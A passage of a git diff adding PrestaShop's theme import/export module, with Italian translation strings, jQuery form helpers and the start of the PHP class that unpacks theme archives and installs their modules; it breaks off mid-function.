+$_MODULE['<{themeinstallator}prestashop>themeinstallator_bf17ac149e2e7a530c677e9bd51d3fd2'] = 'Moduli'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_714af595b1403ed23ff51f27e863c9a2'] = 'Selezionare i moduli che si desidera esportare'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_a517747c3d12f99244ae598910d979c5'] = 'Autore'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_49ee3087348e8d44e1feda1917443987'] = 'Nome'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_ce8ae9da5b7cd6c3df2929543a9af92d'] = 'E-mail'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_15bbb9d0bbf25e8d2978de1168c749dc'] = 'Sito'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_d721757161f7f70c5b0949fdb6ec2c30'] = 'Tema'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_f4f10e7d35bef4e7b48e76ee4bdeae24'] = 'Il nome del tuo tema'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_b5a7adde1af5c87d7fd797b6245c2a39'] = 'Descrizione'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_742ec436610daf7b51a1ba94039adf78'] = 'Inserisci una breve descrizione del tuo tema'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_34b6cd75171affba6957e308dcbd92be'] = 'Versione'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_7da6f328a4647adb2b96a01a6d7c05c4'] = 'Versione del tuo tema'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_333dfbe2bb5c64b140df4607935ec8be'] = 'Compatibile dal'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_e12167aa0a7698e6ebc92b4ce3909b53'] = 'Per'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_a82cac3db0465cfc701f3765fd880019'] = 'Aggiungi documentazione'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_08e27f4e5511f4f6aa73557e6ad6df48'] = 'Aiuta l\'utente. Aggiungi un campo cliccando qui'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_a508df4b049c5b044cb4568b76b6c7e6'] = 'Aggiungi variazione'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_626bd6acdcd835a5d064ef6358124b6c'] = 'Seleziona un altro tema da includere altri e la sua compatibilità'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_ac70412e939d72a9234cdebb1af5867b'] = 'Percorso'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_5da618e8e4b89c66fe86e32cdafde142'] = 'Da'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_3271e801d0a5db9dc2963a19ed9695d6'] = 'Scegli un tema'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_ea4788705e6873b424c65e91c2846b19'] = 'Annulla'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_abb381ee4077396e5d5d475b9022ba86'] = 'Genera l\'archivio ora!'; diff --git a/modules/themeinstallator/logo.gif b/modules/themeinstallator/logo.gif new file mode 100755 index 0000000..13a9cf6 Binary files /dev/null and b/modules/themeinstallator/logo.gif differ diff --git a/modules/themeinstallator/logo.png b/modules/themeinstallator/logo.png new file mode 100755 index 0000000..360a239 Binary files /dev/null and b/modules/themeinstallator/logo.png differ diff --git a/modules/themeinstallator/script.js b/modules/themeinstallator/script.js new file mode 100755 index 0000000..0604812 --- /dev/null +++ b/modules/themeinstallator/script.js @@ -0,0 +1,107 @@ +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +function addVariation(id_variation) +{ + var idRow = $('#variation_table tr').length + 1; + var newRow = ''; + newRow += ''+writeName+''; + newRow += ''; + newRow += ''; + newRow += ''+compafrom+''; + newRow += ''; + newRow += ''+compato+''; + newRow += ''; + + if ($('#variation_table tr').length > 0) + $('#variation_table tr:last').after(newRow); + else + $('#variation_table').html(newRow); + + $('#myvar_'+idRow).after(' delete'); + +} + +function removeVariation(id) +{ + + $('#myvar_'+id).val(-1); + $('#myvar_tr_'+id).hide(); + +} + +/* +** -------------------------------------------- +*/ + +function addDocumentation(id_variation) +{ + var idRow = $('#documentation_table tr').length + 1; + var newRow = ''; + newRow += ''+writeName+''; + newRow += ''; + newRow += ''+path+''; + + newRow += ''; + + if ($('#documentation_table tr').length > 0) + $('#documentation_table tr:last').after(newRow); + else + $('#documentation_table').html(newRow); + + $('#mydoc_'+idRow).after(' delete'); + +} + +function removeDocumentation(id) +{ + $('#mydoc_'+id).parent().html(''); + $('#mydoc_tr_'+id).hide(); +} + +$('document').ready(function() +{ + if (themes.length > 0) + { + var count = 0; + while (themes_id[count] != null && count < 10) + addVariation(themes_id[count++]); + } + else + addVariation(0); + addDocumentation(0); +}); \ No newline at end of file diff --git a/modules/themeinstallator/themeinstallator.js b/modules/themeinstallator/themeinstallator.js new file mode 100755 index 0000000..76aeac8 --- /dev/null +++ b/modules/themeinstallator/themeinstallator.js @@ -0,0 +1,105 @@ +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +function addVariation(id_variation) +{ + var idRow = $('#variation_table tr').length + 1; + var newRow = ''; + newRow += ''+writeName+''; + newRow += ''; + newRow += ''; + newRow += ''+compafrom+''; + newRow += ''; + newRow += ''+compato+''; + newRow += ''; + + if ($('#variation_table tr').length > 0) + $('#variation_table tr:last').after(newRow); + else + $('#variation_table').html(newRow); + + $('#myvar_'+idRow).after(' delete'); + +} + +function removeVariation(id) +{ + + $('#myvar_'+id).val(-1); + $('#myvar_tr_'+id).hide(); + +} + +/* +** -------------------------------------------- +*/ + +function addDocumentation(id_variation) +{ + var idRow = $('#documentation_table tr').length + 1; + var newRow = ''; + newRow += ''+writeName+''; + newRow += ''; + newRow += ''+path+''; + + newRow += ''; + + if ($('#documentation_table tr').length > 0) + $('#documentation_table tr:last').after(newRow); + else + $('#documentation_table').html(newRow); + + $('#mydoc_'+idRow).after(' delete'); + +} + +function removeDocumentation(id) +{ + $('#mydoc_'+id).parent().html(''); + $('#mydoc_tr_'+id).hide(); +} + +$('document').ready(function() +{ + if (themes.length > 0) + { + var count = 0; + + if (themes_id[theme_selected]) + addVariation(themes_id[theme_selected]); + } +}); diff --git a/modules/themeinstallator/themeinstallator.php b/modules/themeinstallator/themeinstallator.php new file mode 100755 index 0000000..35e64fc --- /dev/null +++ b/modules/themeinstallator/themeinstallator.php @@ -0,0 +1,1709 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +if (!defined('_PS_VERSION_')) + exit; + +class ThemeInstallator extends Module +{ + const BACKWARD_REQUIREMENT = '0.4'; + + /* + ** Modules + */ + private $to_install = array(); + private $to_enable = array(); + private $to_disable = array(); + private $to_export = array(); + + private $selected_shops = array(); + private $selected_variations = array(); + private $selected_disable_modules = array(); + private $native_modules = array(); + private $module_list = array(); + private $hook_list = array(); + + private $default_theme = 'default'; + + private $action_form; + + private $current_index; + + /* + ** index + */ + private $page; + + private $module_native; + + const NATIVE_MODULE_LIST_14 = 'http://www.prestashop.com/xml/modules_list.xml'; + const NATIVE_MODULE_LIST_15 = 'http://api.prestashop.com/xml/modules_list_15.xml'; + + /* + ** Config File + */ + private $xml; + + public function __construct() + { + @set_time_limit(0); + @ini_set('memory_limit', '2G'); + + $this->name = 'themeinstallator'; + $this->version = '2.4'; + $this->author = 'PrestaShop'; + $this->need_instance = 0; + if (version_compare(_PS_VERSION_, 1.4) >= 0) + $this->tab = 'administration'; + else + $this->tab = 'Theme'; + parent::__construct(); + $this->displayName = $this->l('Import/export a theme'); + $this->description = $this->l('Export or Install a theme and its modules on your shop.'); + + + if ($this->active && defined('_PS_ADMIN_DIR_')) + { + if (_PS_VERSION_ < '1.5') + { + global $currentIndex; + $this->current_index = $currentIndex; + require(_PS_MODULE_DIR_.$this->name.'/backward_compatibility/backward.php'); + + /* Backward compatibility */ + $this->backwardCompatibilityChecks(); + + $this->module_native = ThemeInstallator::NATIVE_MODULE_LIST_14; + } + else + { + $this->current_index = AdminController::$currentIndex; + + $this->module_native = ThemeInstallator::NATIVE_MODULE_LIST_15; + } + + $this->action_form = $this->current_index.'&configure='.$this->name.'&token='.Tools::htmlentitiesUTF8(Tools::getValue('token')); + } + } + + public function install() + { + if ($this->id) + return true; + else + return parent::install(); + } + + /* Check status of backward compatibility module*/ + protected function backwardCompatibilityChecks() + { + if (Module::isInstalled('backwardcompatibility')) + { + $backward_module = Module::getInstanceByName('backwardcompatibility'); + if (!$backward_module->active) + $this->warning .= $this->l('To work properly the module requires the backward compatibility module enabled').'
        '; + elseif ($backward_module->version < ThemeInstallator::BACKWARD_REQUIREMENT) + $this->warning .= $this->l('To work properly the module requires at least the backward compatibility module v').ThemeInstallator::BACKWARD_REQUIREMENT.'.
        '; + } + else + $this->warning .= $this->l('In order to use the module you need to install the backward compatibility.').'
        '; + } + + private function getTheNativeModules() + { + $xml = simplexml_load_string(Tools::file_get_contents($this->module_native)); + + if ($xml) + { + $natives = array(); + foreach ($xml->modules as $row) + foreach ($row->module as $row2) + $natives[] = (string)$row2['name']; + + if (count($natives > 0)) + return $natives; + } + + // use this list if we can't contact the prestashop.com server + if (_PS_VERSION_ < '1.5') + $natives = array('bankwire', 'birthdaypresent', 'blockadvertising', 'blockbestsellers', 'blockcart', 'blockcategories', 'blockcms', + 'blockcurrencies', 'blockinfos', 'blocklanguages', 'blocklink', 'blockmanufacturer', 'blockmyaccount', 'blocknewproducts', + 'blocknewsletter', 'blockpaymentlogo', 'blockpermanentlinks', 'blockrss', 'blocksearch', 'blockspecials', 'blocksupplier', + 'blocktags', 'blockuserinfo', 'blockvariouslinks', 'blockviewed', 'blockwishlist', 'canonicalurl', 'cashondelivery', 'cheque', + 'crossselling', 'editorial', 'feeder', 'followup', 'gadsense', 'ganalytics', 'gcheckout', 'graphartichow', 'graphgooglechart', + 'graphvisifire', 'graphxmlswfcharts', 'gridhtml', 'gsitemap', 'hipay', 'homefeatured', 'loyalty', 'mailalerts', 'moneybookers', + 'newsletter', 'pagesnotfound', 'paypal', 'paypalapi', 'productcomments', 'productscategory', 'producttooltip', 'referralprogram', + 'sekeywords', 'sendtoafriend', 'statsbestcategories', 'statsbestcustomers', 'statsbestproducts', 'statsbestsuppliers', 'statsbestvouchers', + 'statscarrier', 'statscatalog', 'statscheckup', 'statsdata', 'statsequipment', 'statsgeolocation', 'statshome', 'statslive', 'statsnewsletter', + 'statsorigin', 'statspersonalinfos', 'statsproduct', 'statsregistrations', 'statssales', 'statssearch', 'themeinstallator', 'statsvisits', 'tm4b', + 'trackingfront', 'watermark'); + else + $natives = array( + 'autoupgrade', 'bankwire', 'birthdaypresent', 'blockadvertising', 'blockbestsellers', 'blockcart', + 'blockcategories', 'blockcms', 'blockcontact', 'blockcontactinfos', 'blockcurrencies', 'blockcustomerprivacy', + 'blocklanguages', 'blocklayered', 'blocklink', 'blockmanufacturer', 'blockmyaccount', 'blockmyaccountfooter', 'blocknewproducts', + 'blocknewsletter', 'blockpaymentlogo', 'blockpermanentlinks', 'blockreinsurance', 'blockrss', 'blocksearch', + 'blocksharefb', 'blocksocial', 'blockspecials', 'blockstore', 'blocksupplier', 'blocktags', 'blocktopmenu', + 'blockuserinfo', 'blockviewed', 'blockwishlist', 'cashondelivery', 'carriercompare', 'cheque', 'crossselling', + 'dateofdelivery', 'editorial', 'favoriteproducts', 'feeder', 'followup', 'gadsense', 'ganalytics', 'gcheckout', + 'graphartichow', 'graphgooglechart', 'graphvisifire', 'graphxmlswfcharts', 'gridhtml', 'gsitemap', 'homefeatured', + 'homeslider', 'importerosc', 'livezilla', 'loyalty', 'mailalerts', 'newsletter', 'pagesnotfound', 'prestafraud', + 'productcomments', 'productscategory', 'producttooltip', 'referralprogram', 'sekeywords', 'sendtoafriend', + 'shopimporter', 'statsbestcategories', 'statsbestcustomers', 'statsbestmanufacturers', 'statsbestproducts', + 'statsbestsuppliers', 'statsbestvouchers', 'statscarrier', 'statscatalog', 'statscheckup', 'statsdata', + 'statsequipment', 'statsforecast', 'statsgeolocation', 'statslive', 'statsnewsletter', 'statsorigin', + 'statspersonalinfos', 'statsproduct', 'statsregistrations', 'statssales', 'statssearch', 'statsstock', + 'statsvisits', 'themeinstallator', 'tm4b', 'trackingfront', 'upscarrier', 'vatnumber', 'watermark' + ); + return $natives; + } + + private function deleteDirectory($dirname) + { + $files = scandir($dirname); + foreach ($files as $file) + if ($file != '.' && $file != '..') + { + if (is_dir($dirname.'/'.$file)) + self::deleteDirectory($dirname.'/'.$file); + elseif (file_exists($dirname.'/'.$file)) + unlink($dirname.'/'.$file); + } + rmdir($dirname); + } + + private function recurseCopy($src, $dst) + { + if (!$dir = opendir($src)) + return; + if (!file_exists($dst)) + mkdir($dst); + while (($file = readdir($dir)) !== false) + if (strncmp($file, '.', 1) != 0) + { + if (is_dir($src.'/'.$file)) + self::recurseCopy($src.'/'.$file, $dst.'/'.$file); + elseif (is_readable($src.'/'.$file) && $file != 'Thumbs.db' && $file != '.DS_Store' && substr($file, -1) != '~') + copy($src.'/'.$file, $dst.'/'.$file); + } + closedir($dir); + } + + /* + ** Checks if module is installed + ** Returns true if module is active + ** Also returns false if it's a payment or stat module + */ + private function checkParentClass($name) + { + if (!$obj = Module::getInstanceByName($name)) + return false; + if (is_callable(array($obj, 'validateOrder'))) + return false; + if (is_callable(array($obj, 'getDateBetween'))) + return false; + if (is_callable(array($obj, 'getGridEngines'))) + return false; + if (is_callable(array($obj, 'getGraphEngines'))) + return false; + if (is_callable(array($obj, 'hookAdminStatsModules'))) + return false; + else + return true; + return false; + } + + private function deleteTmpFiles() + { + if (file_exists(_IMPORT_FOLDER_.'doc')) + self::deleteDirectory(_IMPORT_FOLDER_.'doc'); + if (file_exists(_IMPORT_FOLDER_.XMLFILENAME)) + unlink(_IMPORT_FOLDER_.XMLFILENAME); + if (file_exists(_IMPORT_FOLDER_.'modules')) + self::deleteDirectory(_IMPORT_FOLDER_.'modules'); + if (file_exists(_IMPORT_FOLDER_.'themes')) + self::deleteDirectory(_IMPORT_FOLDER_.'themes'); + if (file_exists(_EXPORT_FOLDER_.'archive.zip')) + unlink(_EXPORT_FOLDER_.'archive.zip'); + } + + private function initDefines() + { + define('_EXPORT_FOLDER_', dirname(__FILE__).'/export/'); + define('_IMPORT_FOLDER_', dirname(__FILE__).'/import/'); + $this->page = 1; + if (!file_exists(_EXPORT_FOLDER_) || !is_dir(_EXPORT_FOLDER_)) + mkdir(_EXPORT_FOLDER_, 0777); + if (!file_exists(_IMPORT_FOLDER_) || !is_dir(_IMPORT_FOLDER_)) + mkdir(_IMPORT_FOLDER_, 0777); + + if (!Tools::isSubmit('cancelExport') && (Tools::isSubmit('exportTheme') || Tools::isSubmit('submitExport'))) + $this->page = 'exportPage'; + + $action_form = $this->current_index.'&configure='.$this->name.'&token='.Tools::htmlentitiesUTF8(Tools::getValue('token')); + $this->_html = '
        '; + + if (Tools::isSubmit('modulesToExport') || Tools::isSubmit('submitModules')) + $this->to_export = Tools::getValue('modulesToExport'); + if (Tools::isSubmit('submitThemes')) + $this->selected_variations = Tools::getValue('variation'); + + if (Tools::isSubmit('submitModules') && $this->context->shop->isFeatureActive()) + { + // Get all selected shops (Key and values are inversed) + $shops = Tools::getValue('checkBoxShopAsso_', array($this->context->shop->id => 1)); + foreach ($shops as $key => $shop) + $this->selected_shops[] = (int)$key; + } + else + $this->selected_shops = array($this->context->shop->id); + + if (Tools::isSubmit('submitModules')) + $this->selected_disable_modules = Tools::getValue('modulesToDisable', array()); + + $_POST = @array_map('trim', $_POST); + define('DEFAULT_COMPATIBILITY_FROM', _PS_VERSION_); + define('DEFAULT_COMPATIBILITY_TO', _PS_VERSION_); + define('DEFAULT_T_VER', '1.0'); + define('MAX_NAME_LENGTH', 128); + define('MAX_EMAIL_LENGTH', 128); + define('MAX_WEBSITE_LENGTH', 128); + define('MAX_DESCRIPTION_LENGTH', 64); + define('MAX_T_VER_LENGTH', 3); + define('ARCHIVE_NAME', _IMPORT_FOLDER_.'uploaded.zip'); + define('XMLFILENAME', 'Config.xml'); + + $this->_msg = ''; + $this->to_enable = array(); + $this->to_disable = array(); + $this->to_install = array(); + $this->errors = array(); + if ($this->page == 'exportPage' && Tools::isSubmit('exportTheme') && ($id_theme = Tools::getValue('mainTheme'))) + { + $theme = new Theme($id_theme); + if (!(is_dir(_PS_ALL_THEMES_DIR_.$theme->directory) && file_exists(_PS_ALL_THEMES_DIR_.$theme->directory.'/index.tpl'))) + { + $this->page = 1; + $this->_errors[] = sprintf($this->l('%s is not a valid theme to export'), $theme->name); + } + } + } + + private function handleInformations() + { + if (Tools::isSubmit('submitImport1')) + { + if ($_FILES['themearchive']['error'] || !file_exists($_FILES['themearchive']['tmp_name'])) + $this->errors[] = parent::displayError($this->l('An error has occurred during the file upload.')); + elseif (substr($_FILES['themearchive']['name'], -4) != '.zip') + $this->errors[] = parent::displayError($this->l('Only zip files are allowed')); + elseif (!rename($_FILES['themearchive']['tmp_name'], ARCHIVE_NAME)) + $this->errors[] = parent::displayError($this->l('An error has occurred during the file copy.')); + elseif (Tools::ZipTest(ARCHIVE_NAME)) + $this->page = 2; + else + $this->errors[] = parent::displayError($this->l('Zip file seems to be broken')); + } + elseif (Tools::isSubmit('submitImport2')) + { + if (!Validate::isModuleUrl($url = Tools::getValue('linkurl'), $this->errors)) // $tmp is not used, because we don't care about the error output of isModuleUrl + $this->errors[] = parent::displayError($this->l('Only zip files are allowed')); + elseif (!copy($url, ARCHIVE_NAME)) + $this->errors[] = parent::displayError($this->l('Error during the file download')); + elseif (Tools::ZipTest(ARCHIVE_NAME)) + $this->errors[] = parent::displayError($this->l('Zip file seems to be broken')); + else + $this->page = 2; + } + elseif (Tools::isSubmit('submitImport3')) + { + $filename = _IMPORT_FOLDER_.Tools::getValue('ArchiveName'); + if (substr($filename, -4) != '.zip') + $this->errors[] = parent::displayError($this->l('Only zip files are allowed')); + elseif (!copy($filename, ARCHIVE_NAME)) + $this->errors[] = parent::displayError($this->l('An error has occurred during the file copy.')); + elseif (Tools::ZipTest(ARCHIVE_NAME)) + $this->page = 2; + else + $this->errors[] = parent::displayError($this->l('Zip file seems to be broken')); + } + elseif (Tools::isSubmit('prevThemes')) + $this->page = 2; + elseif (Tools::isSubmit('submitThemes')) + $this->page = 3; + elseif (Tools::isSubmit('submitModules')) + $this->page = 4; + if ($this->page == 2 && file_exists(ARCHIVE_NAME)) + { + if (!Tools::ZipExtract(ARCHIVE_NAME, _IMPORT_FOLDER_)) + { + $this->errors[] = parent::displayError($this->l('Error during zip extraction')); + $this->page = 1; + } + } + if (file_exists(ARCHIVE_NAME)) + @unlink(ARCHIVE_NAME); + if ($this->page != 1) + { + if (!self::checkXmlFields()) + { + $this->errors[] = parent::displayError($this->l('Bad configuration file')); + $this->page = 1; + } + else + return; + } + self::deleteTmpFiles(); + } + + private function checkXmlFields() + { + if (!file_exists(_IMPORT_FOLDER_.XMLFILENAME) || !$xml = simplexml_load_file(_IMPORT_FOLDER_.XMLFILENAME)) + return false; + if (!$xml['version'] || !$xml['name']) + return false; + foreach ($xml->variations->variation as $val) + if (!$val['name'] || !$val['directory'] || !$val['from'] || !$val['to']) + return false; + foreach ($xml->modules->module as $val) + if (!$val['action'] || !$val['name']) + return false; + foreach ($xml->modules->hooks->hook as $val) + if (!$val['module'] || !$val['hook'] || !$val['position']) + return false; + return true; + } + + public function getContentExport() + { + if (_PS_VERSION_ < '1.5') + $this->theme_list = $this->getThemes14(); + else + $this->theme_list = Theme::getAvailable(); + + $this->error = false; + + self::getModuleState(); + self::displayInformations(); + if (Tools::isSubmit('submitExport') && $this->error === false && $this->checkPostedDatas() == true) + { + self::getThemeVariations(); + self::getDocumentation(); + self::getHookState(); + self::getImageState(); + self::generateXML(); + self::generateArchive(); + } + self::authorInformationForm(); + self::modulesInformationForm(); + self::themeInformationForm(); + self::docInformationForm(); + self::variationInformationForm(); + return $this->_html; + } + + /* + ** Main function + */ + public function getContent() + { + /* PrestaShop demo mode */ + if (_PS_MODE_DEMO_) + { + return '
        '.$this->l('This functionality has been disabled.').'
        '; + } + + self::initDefines(); + if (!Tools::isSubmit('cancelExport') && $this->page == 'exportPage') + return self::getContentExport(); + self::handleInformations(); + switch ($this->page) + { + case 1: + self::displayForm1(); + break; + case 2: + self::displayForm2(); + break; + case 3: + self::displayForm3(); + break; + case 4: + self::displayForm4(); + break; + } + return implode($this->errors, '').$this->_msg.$this->_html; + } + + /* + ** Checker si le dossier doc existe : Si oui appeler la fonction ! + */ + private function loadDocForm() + { + $docname = array(); + $docpath = array(); + + foreach ($this->xml->docs->doc as $row) + { + $docname[] = strval($row['name']); + $docpath[] = strval($row['path']); + } + $doc = ' +
        + '.$this->l('Documentation').' + +
        +
          '; + $i = 0; + foreach ($docname as $row) + $doc .= '
        • '.$row.''; + $doc .= ' +
        +

        '.$this->l('Right click on the name and choose "save link as"').' +

        +
        +

         

        '; + $this->_html .= $doc; + } + + private function getModules() + { + $this->native_modules = self::getTheNativeModules(); + foreach ($this->xml->modules->module as $row) + { + if (strval($row['action']) == 'install' && !in_array(strval($row['name']), $this->native_modules)) + $this->to_install[] = strval($row['name']); + elseif (strval($row['action']) == 'enable') + $this->to_enable[] = strval($row['name']); + elseif (strval($row['action']) == 'disable') + $this->to_disable[] = strval($row['name']); + } + } + + private function updateImages() + { + $return = array(); + + if (isset($this->xml->images->image)) + foreach ($this->xml->images->image as $row) + { + if ($result = (bool)Db::getInstance()->executes(sprintf('SELECT * FROM `'._DB_PREFIX_.'image_type` WHERE `name` = \'%s\' ', pSQL($row['name'])))) + { + if (_PS_VERSION_ < '1.5') + { + Db::getInstance()->Execute(' + UPDATE `'._DB_PREFIX_.'image_type` + SET `width` = '.(int)($row['width']).', + `height` = '.(int)($row['height']).', + `products` = '.($row['products'] == 'true' ? 1 : 0).', + `categories` = '.($row['categories'] == 'true' ? 1 : 0).', + `manufacturers` = '.($row['manufacturers'] == 'true' ? 1 : 0).', + `suppliers` = '.($row['suppliers'] == 'true' ? 1 : 0).', + `scenes` = '.($row['scenes'] == 'true' ? 1 : 0).' + WHERE name LIKE \''.pSQL($row['name']).'\''); + + $return['ok'][] = array( + 'name' => $row['name'], + 'width' => (int)$row['width'], + 'height' => (int)$row['height'] + ); + } + else + { + $return['error'][] = array( + 'name' => $row['name'], + 'width' => (int)$row['width'], + 'height' => (int)$row['height'] + ); + } + } + else + { + Db::getInstance()->execute(' + INSERT INTO `'._DB_PREFIX_.'image_type` (`name`, `width`, `height`, `products`, `categories`, `manufacturers`, `suppliers`, `scenes`) + VALUES (\''.pSQL($row['name']).'\', + '.(int)$row['width'].', + '.(int)$row['height'].', + '.($row['products'] == 'true' ? 1 : 0).', + '.($row['categories'] == 'true' ? 1 : 0).', + '.($row['manufacturers'] == 'true' ? 1 : 0).', + '.($row['suppliers'] == 'true' ? 1 : 0).', + '.($row['scenes'] == 'true' ? 1 : 0).')'); + + $return['ok'][] = array( + 'name' => $row['name'], + 'width' => (int)$row['width'], + 'height' => (int)$row['height'] + ); + } + } + + return $return; + } + + private function displayForm4() + { + $xml = simplexml_load_file(_IMPORT_FOLDER_.XMLFILENAME); + $this->xml = $xml; + self::getModules(); + $hook = array(); + $hooked_module = array(); + $position = array(); + $msg = ''; + + foreach ($this->xml->modules->hooks->hook as $row) + { + $hooked_module[] = strval($row['module']); + $hook[] = strval($row['hook']); + $position[] = strval($row['position']); + $exceptions[] = (isset($row['exceptions']) ? explode(',', strval($row['exceptions'])) : array()); + } + + if (file_exists(_IMPORT_FOLDER_.'doc') && count($xml->docs->doc) != 0) + self::loadDocForm(); + // install selected modules + $flag = 0; + foreach ($this->selected_shops as $id_shop) + { + if (isset($this->to_export) && $this->to_export) + foreach ($this->to_export as $row) + { + if (in_array($row, $this->native_modules)) + continue; + if ($flag++ == 0) + $msg .= ''.$this->l('The following modules have been installed:').'
        '; + + // We copy module only if it does not already exists + if (!file_exists(_PS_ROOT_DIR_.'/modules/'.$row)) + self::recurseCopy(_IMPORT_FOLDER_.'modules/'.$row, _PS_ROOT_DIR_.'/modules/'.$row); + + $obj = Module::getInstanceByName($row); + if (Validate::isLoadedObject($obj)) + Db::getInstance()->execute(' + UPDATE `'._DB_PREFIX_.'module` + SET `active`= 1 + WHERE `name` = \''.pSQL($row).'\' + '); + else if (!$obj || !$obj->install()) + continue; + if (_PS_VERSION_ < '1.5') + $sql = 'DELETE FROM `'._DB_PREFIX_.'hook_module` WHERE `id_module` = '.pSQL($obj->id); + else + { + Db::getInstance()->execute('INSERT IGNORE INTO '._DB_PREFIX_.'module_shop (id_module, id_shop) VALUES('.(int)$obj->id.', '.(int)$id_shop.')'); + $sql = 'DELETE FROM `'._DB_PREFIX_.'hook_module` WHERE `id_module` = '.pSQL($obj->id).' AND id_shop = '.(int)$id_shop; + } + + if (Db::getInstance()->execute($sql)) + $msg .= '- '.pSQL($row).'
        '; + else + $msg .= '- '.pSQL($row).' - ERROR
        '; + + $count = -1; + while (isset($hooked_module[++$count])) + if ($hooked_module[$count] == $row) + { + if (_PS_VERSION_ < '1.5') + $sql_hook_module = 'INSERT INTO `'._DB_PREFIX_.'hook_module` (`id_module`, `id_hook`, `position`) + VALUES ('.(int)$obj->id.', '.(int)Hook::get($hook[$count]).', '.(int)$position[$count].')'; + else + $sql_hook_module = 'INSERT INTO `'._DB_PREFIX_.'hook_module` (`id_module`, `id_shop`, `id_hook`, `position`) + VALUES ('.(int)$obj->id.', '.(int)$id_shop.', '.(int)Hook::getIdByName($hook[$count]).', '.(int)$position[$count].')'; + + Db::getInstance()->execute($sql_hook_module); + if ($exceptions[$count]) + foreach ($exceptions[$count] as $file_name) + { + if (_PS_VERSION_ < '1.5') + $sql_hook_module_except = 'INSERT INTO `'._DB_PREFIX_.'hook_module_exceptions` (`id_module`, `id_hook`, `file_name`) + VALUES ('.(int)$obj->id.', '.(int)Hook::get($hook[$count]).', "'.pSQL($file_name).'")'; + else + $sql_hook_module_except = 'INSERT INTO `'._DB_PREFIX_.'hook_module_exceptions` (`id_module`, `id_hook`, `file_name`) + VALUES ('.(int)$obj->id.', '.(int)Hook::getIdByName($hook[$count]).', "'.pSQL($file_name).'")'; + + Db::getInstance()->execute($sql_hook_module_except); + } + } + } + if (($val = (int)Tools::getValue('nativeModules')) != 1) + { + $flag = 0; + // Disable native modules + if ($val == 2 && (($this->to_disable && count($this->to_disable)) || ($this->selected_disable_modules && count($this->selected_disable_modules)))&& _PS_VERSION_ > '1.5') + foreach (array_merge($this->to_disable, $this->selected_disable_modules) as $row) + { + $obj = Module::getInstanceByName($row); + if (Validate::isLoadedObject($obj)) + { + if ($flag++ == 0) + $msg .= ''.$this->l('The following modules have been disabled:').'
        '; + + // Delete all native module which are in the front office feature category and in selected shops + $sql = 'DELETE FROM `'._DB_PREFIX_.'module_shop` WHERE `id_module` = '.pSQL($obj->id).' AND `id_shop` = '.(int)$id_shop; + $sql1 = 'DELETE FROM `'._DB_PREFIX_.'hook_module` WHERE `id_module` = '.pSQL($obj->id).' AND `id_shop` = '.(int)$id_shop; + if (Db::getInstance()->execute($sql) && Db::getInstance()->execute($sql1)) + $msg .= '- '.pSQL($row).'
        '; + } + } + + $flag = 0; + if ($this->to_enable && count($this->to_enable)) + foreach ($this->to_enable as $row) + { + $obj = Module::getInstanceByName($row); + if (Validate::isLoadedObject($obj)) + { + Db::getInstance()->execute(' + UPDATE `'._DB_PREFIX_.'module` + SET `active`= 1 + WHERE `name` = \''.pSQL($row).'\'' + ); + Db::getInstance()->execute(' + INSERT IGNORE INTO '._DB_PREFIX_.'module_shop (id_module, id_shop) + VALUES('.(int)$obj->id.', '.(int)$id_shop.') + '); + } + else if (!is_object($obj) || !$obj->install()) + continue; + + if ($flag++ == 0) + $msg .= ''.$this->l('The following modules have been enabled:').'
        '; + if (_PS_VERSION_ < '1.5') + $sql = 'DELETE FROM `'._DB_PREFIX_.'hook_module` WHERE `id_module` = '.pSQL($obj->id); + else + $sql = 'DELETE FROM `'._DB_PREFIX_.'hook_module` WHERE `id_module` = '.pSQL($obj->id).' AND id_shop = '.(int)$id_shop; + + if (Db::getInstance()->execute($sql)) + $msg .= '- '.pSQL($row).'
